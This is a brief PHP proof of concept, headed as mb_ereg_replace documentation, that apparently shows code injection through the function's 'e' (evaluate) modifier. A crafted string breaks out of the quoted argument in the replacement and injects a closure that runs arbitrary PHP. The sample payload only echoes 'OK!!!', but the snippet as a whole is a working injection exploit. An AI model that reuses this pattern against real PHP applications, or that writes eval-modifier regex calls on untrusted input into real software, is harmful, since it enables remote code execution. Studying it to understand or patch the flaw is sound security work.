- mb_ereg_replace: documentation ( source)
<?php
function hi80vul() {}
$code = 'echo "OK!!!";';
function ev($callback) {
$callback();
}
$str = '\', (ev(function () {' . $code. '})), \'';
mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');